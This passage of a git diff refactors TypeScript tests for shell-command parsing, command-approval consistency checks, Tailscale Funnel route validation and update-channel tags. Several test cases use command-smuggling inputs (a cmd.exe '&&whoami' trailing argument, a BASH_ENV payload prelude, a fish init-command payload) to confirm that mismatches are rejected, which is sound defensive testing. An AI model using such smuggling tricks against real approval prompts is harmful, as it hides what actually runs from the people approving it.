hi"])).toBe("echo hi"); - }); - - test("extractShellCommandFromArgv unwraps /usr/bin/env shell wrappers", () => { - expect(extractShellCommandFromArgv(["/usr/bin/env", "bash", "-c", "echo hi"])).toBe("echo hi"); - expect(extractShellCommandFromArgv(["/usr/bin/env", "FOO=bar", "zsh", "-c", "echo hi"])).toBe( - "echo hi", - ); - }); - test.each([ - { argv: ["/usr/bin/nice", "/bin/bash", "-c", "echo hi"], expected: "echo hi" }, + { argv: ["/bin/sh", "-c", "echo hi"], expected: "echo hi" }, + { argv: ["cmd.exe", "/d", "/s", "/c", "echo", "hi"], expected: "echo hi" }, + { argv: ["/usr/bin/env", "FOO=bar", "zsh", "-c", "echo hi"], expected: "echo hi" }, { - argv: ["/usr/bin/timeout", "--signal=TERM", "5", "zsh", "-c", "echo hi"], - expected: "echo hi", + argv: ["pwsh", "-CommandWithArgs", "allowed.exe", ";", "blocked.exe"], + expected: "allowed.exe ; blocked.exe", }, - { - argv: [ - "/usr/bin/env", - "/usr/bin/env", - "/usr/bin/env", - "/usr/bin/env", - "/bin/sh", - "-c", - "echo hi", - ], - expected: "echo hi", - }, - { argv: ["fish", "-c", "echo hi"], expected: "echo hi" }, - { argv: ["pwsh", "-Command", "Get-Date"], expected: "Get-Date" }, - { - argv: ["pwsh", "-Command", "allowed.exe", ";", "unlisted.exe"], - expected: "allowed.exe ; unlisted.exe", - }, - { - argv: ["pwsh", "-CommandWithArgs", "allowed.exe", ";", "unlisted.exe"], - expected: "allowed.exe ; unlisted.exe", - }, - { argv: ["pwsh", "-File", "script.ps1"], expected: "script.ps1" }, - { - argv: ["pwsh", "-File", "script.ps1", "-ExtraArg"], - expected: "script.ps1", - }, - { argv: ["powershell", "-f", "script.ps1"], expected: "script.ps1" }, - { argv: ["pwsh", "-ec", "ZQBjAGgAbwA="], expected: "ZQBjAGgAbwA=" }, - { argv: ["pwsh", "/NoProfile", "/ec", "ZQBjAGgAbwA="], expected: "ZQBjAGgAbwA=" }, - { argv: ["pwsh", "-en", "ZQBjAGgAbwA="], expected: "ZQBjAGgAbwA=" }, - { argv: ["pwsh", "-ea", "stop", "-Command", "Get-Date"], expected: "Get-Date" }, - { argv: ["pwsh", "-cus", "pipe-name", "-ec", "ZQBjAGgAbwA="], expected: "ZQBjAGgAbwA=" }, - { argv: ["pwsh", "-EncodedCommand", "ZQBjAGgAbwA="], expected: "ZQBjAGgAbwA=" }, - { argv: ["powershell", "-enc", "ZQBjAGgAbwA="], expected: "ZQBjAGgAbwA=" }, - { argv: ["pwsh", "-ec", "ZQBjAGgAbwA="], expected: "ZQBjAGgAbwA=" }, - { argv: ["pwsh", "-en", "ZQBjAGgAbwA="], expected: "ZQBjAGgAbwA=" }, - { argv: ["pwsh", "/NoProfile", "/ec", "ZQBjAGgAbwA="], expected: "ZQBjAGgAbwA=" }, - { argv: ["pwsh", "-win", "hidden", "/ec", "ZQBjAGgAbwA="], expected: "ZQBjAGgAbwA=" }, - { argv: ["pwsh", "-if", "XML", "-EncodedCommand", "ZQBjAGgAbwA="], expected: "ZQBjAGgAbwA=" }, - { argv: ["pwsh", "-config", "SomeConfig", "-ec", "ZQBjAGgAbwA="], expected: "ZQBjAGgAbwA=" }, - { argv: ["pwsh", "-cwa", "Write-Output", "hi"], expected: "Write-Output hi" }, + { argv: ["pwsh", "-File", "script.ps1", "-ExtraArg"], expected: "script.ps1" }, { argv: ["busybox", "sh", "-c", "echo hi"], expected: "echo hi" }, - { argv: ["toybox", "ash", "-c", "echo hi"], expected: "echo hi" }, - ])("extractShellCommandFromArgv unwraps %j", ({ argv, expected }) => { + { argv: ["bash", "script.sh"], expected: null }, + ])("extracts the shell payload for $argv", ({ argv, expected }) => { expect(extractShellCommandFromArgv(argv)).toBe(expected); }); - test("extractShellCommandFromArgv ignores env wrappers when no shell wrapper follows", () => { - expect(extractShellCommandFromArgv(["/usr/bin/env", "FOO=bar", "/usr/bin/printf", "ok"])).toBe( - null, - ); - expect(extractShellCommandFromArgv(["/usr/bin/env", "FOO=bar"])).toBe(null); + test("keeps rawless sh -lc fail-closed", () => { + expect(extractShellCommandFromArgv(["/bin/sh", "-lc", "echo hi"])).toBeNull(); }); - test("extractShellCommandFromArgv keeps omitted PowerShell file args out of shell payloads", () => { - expect(extractShellCommandFromArgv(["pwsh", "script.ps1", "-en", "ZQBjAGgAbwA="])).toBe(null); - expect(extractShellCommandFromArgv(["/usr/bin/pwsh", "/tmp/script.ps1", "/ec", "AAA"])).toBe( - null, - ); + test("requires argv when rawCommand is present", () => { + const result = resolveSystemRunCommandRequest({ rawCommand: "echo hi" }); + expect(result.ok).toBe(false); + if (!result.ok) { + expect(result.details?.code).toBe("MISSING_COMMAND"); + } }); - test("extractShellCommandFromArgv includes trailing cmd.exe args after /c", () => { - expect(extractShellCommandFromArgv(["cmd.exe", "/d", "/s", "/c", "echo", "SAFE&&whoami"])).toBe( - "echo SAFE&&whoami", - ); + test("normalizes non-string argv and empty requests", () => { + expect(resolveSystemRunCommandRequest({})).toMatchObject({ + ok: true, + argv: [], + commandText: "", + }); + expect( + expectValidResult(resolveSystemRunCommandRequest({ command: ["echo", 123, false, null] })), + ).toMatchObject({ + argv: ["echo", "123", "false", "null"], + commandText: "echo 123 false null", + }); }); - test("validateSystemRunCommandConsistency accepts rawCommand matching direct argv", () => { - const res = expectValidResult( - validateSystemRunCommandConsistency({ - argv: ["echo", "hi"], - rawCommand: "echo hi", - }), - ); - expect(res.shellPayload).toBe(null); - expect(res.commandText).toBe("echo hi"); + test("accepts canonical direct argv text and trims it", () => { + expect( + expectValidResult( + resolveSystemRunCommandRequest({ command: ["echo", "hi"], rawCommand: " echo hi " }), + ), + ).toMatchObject({ + commandText: "echo hi", + shellPayload: null, + }); }); - test("validateSystemRunCommandConsistency trims rawCommand before comparison", () => { - const res = expectValidResult( - validateSystemRunCommandConsistency({ - argv: ["echo", "hi"], - rawCommand: " echo hi ", - }), - ); - expect(res.commandText).toBe("echo hi"); + test("accepts a legacy shell preview while retaining canonical command text", () => { + expect( + expectValidResult( + resolveSystemRunCommandRequest({ + command: ["/bin/sh", "-lc", "echo hi"], + rawCommand: "echo hi", + }), + ), + ).toMatchObject({ + commandText: '/bin/sh -lc "echo hi"', + previewText: "echo hi", + }); }); - test("validateSystemRunCommandConsistency rejects mismatched rawCommand vs direct argv", () => { - expectRawCommandMismatch({ + test.each([ + { + name: "direct argv mismatch", argv: ["uname", "-a"], rawCommand: "echo hi", - }); - }); - - test("validateSystemRunCommandConsistency accepts rawCommand matching sh wrapper argv", () => { - const res = expectValidResult( - validateSystemRunCommandConsistency({ - argv: ["/bin/sh", "-lc", "echo hi"], - rawCommand: "echo hi", - allowLegacyShellText: true, - }), - ); - expect(res.previewText).toBe("echo hi"); - }); - - test("validateSystemRunCommandConsistency preserves legacy sh -lc payload binding only for sh", () => { - const sh = expectValidResult( - validateSystemRunCommandConsistency({ - argv: ["/bin/sh", "-lc", "/usr/bin/printf ok"], - rawCommand: "/usr/bin/printf ok", - allowLegacyShellText: true, - }), - ); - expect(sh.previewText).toBe("/usr/bin/printf ok"); - - expectRawCommandMismatch({ - argv: ["/bin/bash", "-lc", "/usr/bin/printf ok"], - rawCommand: "/usr/bin/printf ok", - }); - }); - - test("extractShellCommandFromArgv treats uppercase posix C as a shell option, not command mode", () => { - expect(extractShellCommandFromArgv(["/bin/bash", "-C", "echo hi"])).toBe(null); - }); - - test("validateSystemRunCommandConsistency rejects shell-only rawCommand for positional-argv carrier wrappers", () => { - expectRawCommandMismatch({ - argv: ["/bin/sh", "-lc", '$0 "$1"', "/usr/bin/touch", "/tmp/marker"], - rawCommand: '$0 "$1"', - }); - }); - - test("validateSystemRunCommandConsistency accepts rawCommand matching env shell wrapper argv", () => { - const res = expectValidResult( - validateSystemRunCommandConsistency({ - argv: ["/usr/bin/env", "bash", "-c", "echo hi"], - rawCommand: "echo hi", - allowLegacyShellText: true, - }), - ); - expect(res.previewText).toBe("echo hi"); - }); - - test("validateSystemRunCommandConsistency accepts PowerShell command-with-args payload text", () => { - const res = expectValidResult( - validateSystemRunCommandConsistency({ - argv: ["pwsh", "-cwa", "Write-Output", "hi"], - rawCommand: "Write-Output hi", - allowLegacyShellText: true, - }), - ); - expect(res.shellPayload).toBe("Write-Output hi"); - expect(res.previewText).toBe("Write-Output hi"); - }); - - test("validateSystemRunCommandConsistency rejects shell-only rawCommand for env assignment prelude", () => { - expectRawCommandMismatch({ - argv: ["/usr/bin/env", "BASH_ENV=/tmp/payload.sh", "bash", "-lc", "echo hi"], - rawCommand: "echo hi", - }); - }); - - test.each([ - { argv: ["/bin/bash", "--login", "-c", "/usr/bin/printf ok"] }, - { argv: ["/bin/bash", "-i", "-c", "/usr/bin/printf ok"] }, - { argv: ["/usr/bin/fish", "--init-command=/tmp/payload.fish", "-c", "/usr/bin/printf ok"] }, - ])( - "validateSystemRunCommandConsistency rejects shell-only rawCommand for startup wrapper %j", - ({ argv }) => { - expectRawCommandMismatch({ - argv, - rawCommand: "/usr/bin/printf ok", - }); }, - ); - - test("validateSystemRunCommandConsistency accepts full rawCommand for startup wrapper argv", () => { - const raw = '/bin/bash --login -c "/usr/bin/printf ok"'; - const res = expectValidResult( - validateSystemRunCommandConsistency({ - argv: ["/bin/bash", "--login", "-c", "/usr/bin/printf ok"], - rawCommand: raw, - }), - ); - expect(res.shellPayload).toBe(null); - expect(res.commandText).toBe(raw); - expect(res.previewText).toBe(null); - }); - - test("validateSystemRunCommandConsistency accepts full rawCommand for env assignment prelude", () => { - const raw = '/usr/bin/env BASH_ENV=/tmp/payload.sh bash -lc "echo hi"'; - const res = expectValidResult( - validateSystemRunCommandConsistency({ - argv: ["/usr/bin/env", "BASH_ENV=/tmp/payload.sh", "bash", "-lc", "echo hi"], - rawCommand: raw, - }), - ); - expect(res.shellPayload).toBe(null); - expect(res.commandText).toBe(raw); - expect(res.previewText).toBe(null); - }); - - test("validateSystemRunCommandConsistency rejects cmd.exe /c trailing-arg smuggling", () => { - expectRawCommandMismatch({ + { + name: "cmd trailing-argument smuggling", argv: ["cmd.exe", "/d", "/s", "/c", "echo", "SAFE&&whoami"], rawCommand: "echo", - }); - }); - - test("validateSystemRunCommandConsistency rejects mismatched rawCommand vs sh wrapper argv", () => { - expectRawCommandMismatch({ - argv: ["/bin/sh", "-lc", "echo hi"], - rawCommand: "echo bye", - }); - }); - - test("resolveSystemRunCommandRequest requires command when rawCommand is present", () => { - const res = resolveSystemRunCommandRequest({ rawCommand: "echo hi" }); - expect(res.ok).toBe(false); - if (res.ok) { - throw new Error("unreachable"); - } - expect(res.message).toContain("rawCommand requires params.command"); - expect(res.details?.code).toBe("MISSING_COMMAND"); - }); - - test("resolveSystemRunCommandRequest treats non-array command values as missing", () => { - const res = resolveSystemRunCommandRequest({ - command: "echo hi", + }, + { + name: "shell positional-argv carrier", + argv: ["/bin/sh", "-lc", '$0 "$1"', "/usr/bin/touch", "/tmp/marker"], + rawCommand: '$0 "$1"', + }, + { + name: "environment prelude", + argv: ["/usr/bin/env", "BASH_ENV=/tmp/payload.sh", "bash", "-lc", "echo hi"], rawCommand: "echo hi", - }); - expect(res.ok).toBe(false); - if (res.ok) { - throw new Error("unreachable"); - } - expect(res.details?.code).toBe("MISSING_COMMAND"); - }); - - test("resolveSystemRunCommandRequest returns an empty success payload when no command is provided", () => { - const res = expectValidResult(resolveSystemRunCommandRequest({})); - expect(res.argv).toStrictEqual([]); - expect(res.commandText).toBe(""); - expect(res.shellPayload).toBeNull(); - expect(res.previewText).toBeNull(); - }); - - test("resolveSystemRunCommandRequest stringifies non-string argv tokens", () => { - const res = expectValidResult( - resolveSystemRunCommandRequest({ - command: ["echo", 123, false, null], - }), - ); - expect(res.argv).toEqual(["echo", "123", "false", "null"]); - expect(res.commandText).toBe("echo 123 false null"); - }); - - test("resolveSystemRunCommandRequest trims legacy rawCommand shell payloads", () => { - const res = expectValidResult( - resolveSystemRunCommandRequest({ - command: ["/bin/sh", "-lc", "echo hi"], - rawCommand: " echo hi ", - }), - ); - expect(res.previewText).toBe("echo hi"); - expect(res.commandText).toBe('/bin/sh -lc "echo hi"'); - }); - - test.each([ - { - name: "resolveSystemRunCommandRequest unwraps macOS dispatch wrappers before deriving shell previews", - run: () => - resolveSystemRunCommandRequest({ - command: ["/usr/bin/arch", "-arm64", "/bin/sh", "-lc", "echo hi"], - }), - expectedShellPayload: null, - expectedCommandText: '/usr/bin/arch -arm64 /bin/sh -lc "echo hi"', - expectedPreviewText: null, }, { - name: "resolveSystemRunCommandRequest unwraps xcrun before deriving shell previews", - run: () => - resolveSystemRunCommandRequest({ - command: ["/usr/bin/xcrun", "/bin/sh", "-lc", "echo hi"], - }), - expectedShellPayload: null, - expectedCommandText: '/usr/bin/xcrun /bin/sh -lc "echo hi"', - expectedPreviewText: null, + name: "interactive shell startup flag", + argv: ["/bin/bash", "-i", "-c", "/usr/bin/printf ok"], + rawCommand: "/usr/bin/printf ok", }, { - name: "resolveSystemRunCommandRequest accepts legacy shell payloads but returns canonical command text", - run: () => - resolveSystemRunCommandRequest({ - command: ["cmd.exe", "/d", "/s", "/c", "echo", "SAFE&&whoami"], - rawCommand: "echo SAFE&&whoami", - }), - expectedArgv: ["cmd.exe", "/d", "/s", "/c", "echo", "SAFE&&whoami"], - expectedShellPayload: "echo SAFE&&whoami", - expectedCommandText: "cmd.exe /d /s /c echo SAFE&&whoami", - expectedPreviewText: "echo SAFE&&whoami", + name: "fish init command", + argv: ["/usr/bin/fish", "--init-command=/tmp/payload.fish", "-c", "/usr/bin/printf ok"], + rawCommand: "/usr/bin/printf ok", }, - { - name: "resolveSystemRunCommandRequest binds commandText to full argv for shell-wrapper positional-argv carriers", - run: () => + ])("rejects $name approval-display mismatch", ({ argv, rawCommand }) => { + expectRawCommandMismatch({ argv, rawCommand }); + }); + + test("binds canonical text to the full positional carrier argv", () => { + expect( + expectValidResult( resolveSystemRunCommandRequest({ command: ["/bin/sh", "-lc", '$0 "$1"', "/usr/bin/touch", "/tmp/marker"], }), - expectedShellPayload: null, - expectedCommandText: '/bin/sh -lc "$0 \\"$1\\"" /usr/bin/touch /tmp/marker', - expectedPreviewText: null, - }, - { - name: "resolveSystemRunCommandRequest binds commandText to full argv when env prelude modifies shell wrapper", - run: () => - resolveSystemRunCommandRequest({ - command: ["/usr/bin/env", "BASH_ENV=/tmp/payload.sh", "bash", "-lc", "echo hi"], - }), - expectedShellPayload: null, - expectedCommandText: '/usr/bin/env BASH_ENV=/tmp/payload.sh bash -lc "echo hi"', - expectedPreviewText: null, - }, - { - name: "resolveSystemRunCommandRequest keeps wrapper preview separate from canonical command text", - run: () => - resolveSystemRunCommandRequest({ - command: ["./env", "sh", "-c", "jq --version"], - }), - expectedShellPayload: "jq --version", - expectedCommandText: './env sh -c "jq --version"', - expectedPreviewText: "jq --version", - }, - { - name: "resolveSystemRunCommandRequest accepts canonical full argv text for wrapper approvals", - run: () => - resolveSystemRunCommandRequest({ - command: ["./env", "sh", "-c", "jq --version"], - rawCommand: './env sh -c "jq --version"', - }), - expectedShellPayload: "jq --version", - expectedCommandText: './env sh -c "jq --version"', - expectedPreviewText: "jq --version", - }, - ])( - "$name", - ({ run, expectedArgv, expectedShellPayload, expectedCommandText, expectedPreviewText }) => { - const res = expectValidResult(run()); - if (expectedArgv) { - expect(res.argv).toEqual(expectedArgv); - } - expect(res.shellPayload).toBe(expectedShellPayload); - expect(res.commandText).toBe(expectedCommandText); - expect(res.previewText).toBe(expectedPreviewText); - }, - ); - - test("validateSystemRunCommandConsistency rejects legacy shell payload text in strict mode", () => { - const res = validateSystemRunCommandConsistency({ - argv: ["/bin/sh", "-lc", "echo hi"], - rawCommand: "echo hi", + ), + ).toMatchObject({ + commandText: '/bin/sh -lc "$0 \\"$1\\"" /usr/bin/touch /tmp/marker', + previewText: null, + }); + }); + + test("keeps PowerShell command-with-args payloads bound", () => { + expect( + expectValidResult( + resolveSystemRunCommandRequest({ + command: ["pwsh", "-cwa", "Write-Output", "hi"], + rawCommand: "Write-Output hi", + }), + ), + ).toMatchObject({ + shellPayload: "Write-Output hi", + previewText: "Write-Output hi", }); - expect(res.ok).toBe(false); - if (res.ok) { - throw new Error("unreachable"); - } - expect(res.message).toContain("rawCommand does not match command"); }); }); diff --git a/src/infra/system-run-command.ts b/src/infra/system-run-command.ts index b45a84c9cfd1..a55825c9d7ea 100644 --- a/src/infra/system-run-command.ts +++ b/src/infra/system-run-command.ts @@ -146,7 +146,7 @@ function normalizeRawCommandText(rawCommand?: unknown): string | null { return typeof rawCommand === "string" && rawCommand.trim().length > 0 ? rawCommand.trim() : null; } -export function validateSystemRunCommandConsistency(params: { +function validateSystemRunCommandConsistency(params: { argv: string[]; rawCommand?: string | null; allowLegacyShellText?: boolean; diff --git a/src/infra/tailnet.test.ts b/src/infra/tailnet.test.ts index fd07cc2ae01d..206c6c665c27 100644 --- a/src/infra/tailnet.test.ts +++ b/src/infra/tailnet.test.ts @@ -2,12 +2,7 @@ import os from "node:os"; import { afterEach, describe, expect, it, vi } from "vitest"; import { makeNetworkInterfacesSnapshot } from "../test-helpers/network-interfaces.js"; -import { - isTailnetIPv4, - listTailnetAddresses, - pickPrimaryTailnetIPv4, - pickPrimaryTailnetIPv6, -} from "./tailnet.js"; +import { isTailnetIPv4, pickPrimaryTailnetIPv4, pickPrimaryTailnetIPv6 } from "./tailnet.js"; describe("tailnet helpers", () => { afterEach(() => { @@ -21,26 +16,6 @@ describe("tailnet helpers", () => { expect(isTailnetIPv4("192.168.1.10")).toBe(false); }); - it("lists unique non-internal tailnet addresses only", () => { - vi.spyOn(os, "networkInterfaces").mockReturnValue( - makeNetworkInterfacesSnapshot({ - lo0: [{ address: "127.0.0.1", family: "IPv4", internal: true }], - en0: [ - { address: " 100.88.1.5 ", family: "IPv4" }, - { address: "100.88.1.5", family: "IPv4" }, - { address: "fd7a:115c:a1e0::1", family: "IPv6" }, - { address: " ", family: "IPv6" }, - { address: "fe80::1", family: "IPv6" }, - ], - }), - ); - - expect(listTailnetAddresses()).toEqual({ - ipv4: ["100.88.1.5"], - ipv6: ["fd7a:115c:a1e0::1"], - }); - }); - it("picks the first available tailnet addresses", () => { vi.spyOn(os, "networkInterfaces").mockReturnValue( makeNetworkInterfacesSnapshot({ @@ -55,12 +30,4 @@ describe("tailnet helpers", () => { expect(pickPrimaryTailnetIPv4()).toBe("100.99.1.1"); expect(pickPrimaryTailnetIPv6()).toBe("fd7a:115c:a1e0::9"); }); - - it("throws when interface discovery fails", () => { - vi.spyOn(os, "networkInterfaces").mockImplementation(() => { - throw new Error("uv_interface_addresses failed"); - }); - - expect(() => listTailnetAddresses()).toThrow("uv_interface_addresses failed"); - }); }); diff --git a/src/infra/tailnet.ts b/src/infra/tailnet.ts index 2713fb4dab21..edbcb92bcc28 100644 --- a/src/infra/tailnet.ts +++ b/src/infra/tailnet.ts @@ -26,7 +26,7 @@ function isTailnetIPv6(address: string): boolean { } /** Lists unique Tailscale IPv4/IPv6 addresses from local external interfaces. */ -export function listTailnetAddresses(): TailnetAddresses { +function listTailnetAddresses(): TailnetAddresses { const ipv4: string[] = []; const ipv6: string[] = []; diff --git a/src/infra/tailscale.test.ts b/src/infra/tailscale.test.ts index cf078200b45c..9e0b06a5639c 100644 --- a/src/infra/tailscale.test.ts +++ b/src/infra/tailscale.test.ts @@ -5,12 +5,10 @@ import * as tailscale from "./tailscale.js"; const { getTailnetHostname, - getTestTailscaleBinaryOverride, readTailscaleWhoisIdentity, enableTailscaleServe, disableTailscaleServe, hasTailscaleFunnelRouteForPort, - tailscaleFunnelStatusCoversPort, } = tailscale; const tailscaleBin = "tailscale"; @@ -140,22 +138,6 @@ describe("tailscale helpers", () => { expect(exec).toHaveBeenCalledTimes(2); }); - it("allows the test binary override in explicit test environments", () => { - process.env.OPENCLAW_TEST_TAILSCALE_BINARY = "/tmp/test-tailscale"; - process.env.NODE_ENV = "test"; - delete process.env.VITEST; - - expect(getTestTailscaleBinaryOverride()).toBe("/tmp/test-tailscale"); - }); - - it("ignores the test binary override outside test environments", () => { - process.env.OPENCLAW_TEST_TAILSCALE_BINARY = "/tmp/attacker-tailscale"; - process.env.NODE_ENV = "production"; - delete process.env.VITEST; - - expect(getTestTailscaleBinaryOverride()).toBeNull(); - }); - it("enableTailscaleServe attempts normal first, then sudo", async () => { const exec = vi .fn() @@ -263,6 +245,42 @@ describe("tailscale helpers", () => { await expect(hasTailscaleFunnelRouteForPort(18789, exec)).resolves.toBe(true); }); + it.each([ + { proxy: "http://127.0.0.1:18789", expected: true }, + { proxy: "http://127.0.0.1:18789/", expected: true }, + { proxy: "http://127.0.0.1:18789/api", expected: true }, + { proxy: "http://localhost:18789", expected: true }, + { proxy: "http://[::1]:18789", expected: true }, + { proxy: "https+insecure://localhost:18789", expected: true }, + { proxy: "https+insecure://127.0.0.1:18789/api", expected: true }, + { proxy: "18789", expected: true }, + { proxy: "http://127.0.0.1:9000", expected: false }, + { proxy: "http://10.0.0.5:18789", expected: false }, + { proxy: "https+insecure://10.0.0.5:18789", expected: false }, + ])("validates Funnel loopback proxy $proxy", async ({ proxy, expected }) => { + const host = "device.tailnet.ts.net:443"; + const exec = vi.fn().mockResolvedValue({ + stdout: JSON.stringify({ + AllowFunnel: { [host]: true }, + Web: { [host]: { Handlers: { "/": { Proxy: proxy } } } }, + }), + }); + + await expect(hasTailscaleFunnelRouteForPort(18789, exec)).resolves.toBe(expected); + }); + + it("ignores Funnel handlers whose host is not allowed", async () => { + const host = "device.tailnet.ts.net:443"; + const exec = vi.fn().mockResolvedValue({ + stdout: JSON.stringify({ + AllowFunnel: { [host]: false }, + Web: { [host]: { Handlers: { "/": { Proxy: "http://127.0.0.1:18789" } } } }, + }), + }); + + await expect(hasTailscaleFunnelRouteForPort(18789, exec)).resolves.toBe(false); + }); + it("hasTailscaleFunnelRouteForPort preserves malformed status parse failures", async () => { const exec = vi.fn().mockResolvedValue({ stdout: "warning: stale state\n{not json}\n", @@ -271,92 +289,3 @@ describe("tailscale helpers", () => { await expect(hasTailscaleFunnelRouteForPort(18789, exec)).rejects.toThrow(SyntaxError); }); }); - -describe("tailscaleFunnelStatusCoversPort", () => { - function buildFunnelStatus(handlers: Record) { - const host = "device.tailnet.ts.net:443"; - return { - AllowFunnel: { [host]: true }, - Web: { - [host]: { Handlers: handlers }, - }, - } as Record; - } - - it("matches a Funnel route whose Proxy is a full http URL", () => { - const status = buildFunnelStatus({ "/": { Proxy: "http://127.0.0.1:18789" } }); - expect(tailscaleFunnelStatusCoversPort(status, 18789)).toBe(true); - }); - - it("matches a Proxy URL with a trailing slash", () => { - const status = buildFunnelStatus({ "/": { Proxy: "http://127.0.0.1:18789/" } }); - expect(tailscaleFunnelStatusCoversPort(status, 18789)).toBe(true); - }); - - it("matches a Proxy URL with a longer path", () => { - const status = buildFunnelStatus({ "/api": { Proxy: "http://127.0.0.1:18789/api" } }); - expect(tailscaleFunnelStatusCoversPort(status, 18789)).toBe(true); - }); - - it("matches the localhost loopback alias", () => { - const status = buildFunnelStatus({ "/": { Proxy: "http://localhost:18789" } }); - expect(tailscaleFunnelStatusCoversPort(status, 18789)).toBe(true); - }); - - it("matches an IPv6 loopback Proxy", () => { - const status = buildFunnelStatus({ "/": { Proxy: "http://[::1]:18789" } }); - expect(tailscaleFunnelStatusCoversPort(status, 18789)).toBe(true); - }); - - it("matches the documented https+insecure target scheme", () => { - const status = buildFunnelStatus({ - "/": { Proxy: "https+insecure://localhost:18789" }, - }); - expect(tailscaleFunnelStatusCoversPort(status, 18789)).toBe(true); - }); - - it("matches https+insecure with a trailing path", () => { - const status = buildFunnelStatus({ - "/api": { Proxy: "https+insecure://127.0.0.1:18789/api" }, - }); - expect(tailscaleFunnelStatusCoversPort(status, 18789)).toBe(true); - }); - - it("does not match https+insecure on a non-loopback host", () => { - const status = buildFunnelStatus({ - "/": { Proxy: "https+insecure://10.0.0.5:18789" }, - }); - expect(tailscaleFunnelStatusCoversPort(status, 18789)).toBe(false); - }); - - it("matches a bare port form", () => { - const status = buildFunnelStatus({ "/": { Proxy: "18789" } }); - expect(tailscaleFunnelStatusCoversPort(status, 18789)).toBe(true); - }); - - it("does not match a Proxy on a different port", () => { - const status = buildFunnelStatus({ "/": { Proxy: "http://127.0.0.1:9000" } }); - expect(tailscaleFunnelStatusCoversPort(status, 18789)).toBe(false); - }); - - it("does not match a non-loopback host on the right port", () => { - const status = buildFunnelStatus({ "/": { Proxy: "http://10.0.0.5:18789" } }); - expect(tailscaleFunnelStatusCoversPort(status, 18789)).toBe(false); - }); - - it("ignores Web entries whose host is not in AllowFunnel", () => { - const status = { - AllowFunnel: { "device.tailnet.ts.net:443": false }, - Web: { - "device.tailnet.ts.net:443": { - Handlers: { "/": { Proxy: "http://127.0.0.1:18789" } }, - }, - }, - } as Record; - expect(tailscaleFunnelStatusCoversPort(status, 18789)).toBe(false); - }); - - it("returns false on an empty status payload", () => { - expect(tailscaleFunnelStatusCoversPort({}, 18789)).toBe(false); - }); -}); diff --git a/src/infra/tailscale.ts b/src/infra/tailscale.ts index aaf764048ae4..76b827d9e0f8 100644 --- a/src/infra/tailscale.ts +++ b/src/infra/tailscale.ts @@ -168,9 +168,7 @@ export async function getTailnetHostname(exec: typeof runExec = runExec, detecte */ let cachedTailscaleBinary: string | null = null; -export function getTestTailscaleBinaryOverride( - env: NodeJS.ProcessEnv = process.env, -): string | null { +function getTestTailscaleBinaryOverride(env: NodeJS.ProcessEnv = process.env): string | null { const forcedBinary = env.OPENCLAW_TEST_TAILSCALE_BINARY?.trim(); if (!forcedBinary) { return null; @@ -306,10 +304,7 @@ export async function hasTailscaleFunnelRouteForPort( const TAILSCALE_LOOPBACK_PROXY_HOSTS = new Set(["127.0.0.1", "localhost", "[::1]", "::1"]); -export function tailscaleFunnelStatusCoversPort( - status: Record, - port: number, -): boolean { +function tailscaleFunnelStatusCoversPort(status: Record, port: number): boolean { for (const proxy of funnelStatusBackendsForPort(status)) { if (tailscaleProxyMatchesLoopbackPort(proxy, port)) { return true; diff --git a/src/infra/update-channels.test.ts b/src/infra/update-channels.test.ts index 0d09c37549e2..7390885e20a7 100644 --- a/src/infra/update-channels.test.ts +++ b/src/infra/update-channels.test.ts @@ -4,14 +4,12 @@ import { channelToNpmTag, formatUpdateChannelLabel, isBetaTag, - isPrereleaseTag, isStableTag, normalizeUpdateChannel, resolveEffectiveUpdateChannel, resolveRegistryUpdateChannel, resolveUpdateChannelDisplay, type UpdateChannel, - type UpdateChannelSource, } from "./update-channels.js"; describe("update-channels tag detection", () => { @@ -29,22 +27,15 @@ describe("update-channels tag detection", () => { }); it.each([ - { tag: "v2026.2.24-alpha.1", prerelease: true, stable: false }, - { tag: "v2026.2.24-beta.1", prerelease: true, stable: false }, - { tag: "v2026.2.24-rc.1", prerelease: true, stable: false }, - { tag: "v2026.2.24-preview.1", prerelease: true, stable: false }, - { tag: "v2026.2.24-dev.1", prerelease: true, stable: false }, - { tag: "v2026.2.24-next.1", prerelease: true, stable: false }, - { tag: "v2026.2.24-canary.1", prerelease: true, stable: false }, - { tag: "v2026.2.24-nightly.1", prerelease: true, stable: false }, - { tag: "v2026.2.24-experimental.1", prerelease: true, stable: false }, - { tag: "v2026.2.24-custom.1", prerelease: true, stable: false }, - { tag: "v2026.2.24-1", prerelease: false, stable: true }, - { tag: "v1.0.1-1", prerelease: false, stable: true }, - { tag: "v2026.2.24-alphabeta.1", prerelease: true, stable: false }, - { tag: "v2026.2.24", prerelease: false, stable: true }, - ])("stable/prerelease classification for $tag", ({ tag, prerelease, stable }) => { - expect(isPrereleaseTag(tag)).toBe(prerelease); + { tag: "v2026.2.24-alpha.1", stable: false }, + { tag: "v2026.2.24-beta.1", stable: false }, + { tag: "v2026.2.24-rc.1", stable: false }, + { tag: "v2026.2.24-preview.1", stable: false }, + { tag: "v2026.2.24-custom.1", stable: false }, + { tag: "v2026.2.24-1", stable: true }, + { tag: "v1.0.1-1", stable: true }, + { tag: "v2026.2.24", stable: true }, + ])("stable classification for $tag", ({ tag, stable }) => { expect(isStableTag(tag)).toBe(stable); }); }); @@ -87,7 +78,7 @@ describe("resolveEffectiveUpdateChannel", () => { { name: "prefers config over git metadata", params: { - configChannel: "beta", + configChannel: "beta" as const, installKind: "git" as const, git: { tag: "v2026.2.24", branch: "feature/test" }, }, @@ -96,16 +87,16 @@ describe("resolveEffectiveUpdateChannel", () => { { name: "uses installed beta version over stale stable config", params: { - configChannel: "stable", + configChannel: "stable" as const, currentVersion: "2026.5.2-beta.1", installKind: "package" as const, }, expected: { channel: "beta", source: "installed-version" }, }, { - name: "keeps explicit extended-stable config on an installed beta version", + name: "keeps explicit extended-stable config", params: { - configChannel: "extended-stable", + configChannel: "extended-stable" as const, currentVersion: "2026.5.2-beta.1", installKind: "package" as const, }, @@ -113,67 +104,30 @@ describe("resolveEffectiveUpdateChannel", () => { }, { name: "uses beta git tag", - params: { - installKind: "git" as const, - git: { tag: "v2026.2.24-beta.1" }, - }, + params: { installKind: "git" as const, git: { tag: "v2026.2.24-beta.1" } }, expected: { channel: "beta", source: "git-tag" }, }, { - name: "treats non-beta git tag as stable", - params: { - installKind: "git" as const, - git: { tag: "v2026.2.24" }, - }, + name: "treats stable git tag as stable", + params: { installKind: "git" as const, git: { tag: "v2026.2.24" } }, expected: { channel: "stable", source: "git-tag" }, }, { name: "treats non-beta prerelease git tag as dev", - params: { - installKind: "git" as const, - git: { tag: "v2026.5.25-alpha.1" }, - }, + params: { installKind: "git" as const, git: { tag: "v2026.5.25-alpha.1" } }, expected: { channel: "dev", source: "git-tag" }, }, { - name: "preserves legacy numeric stable 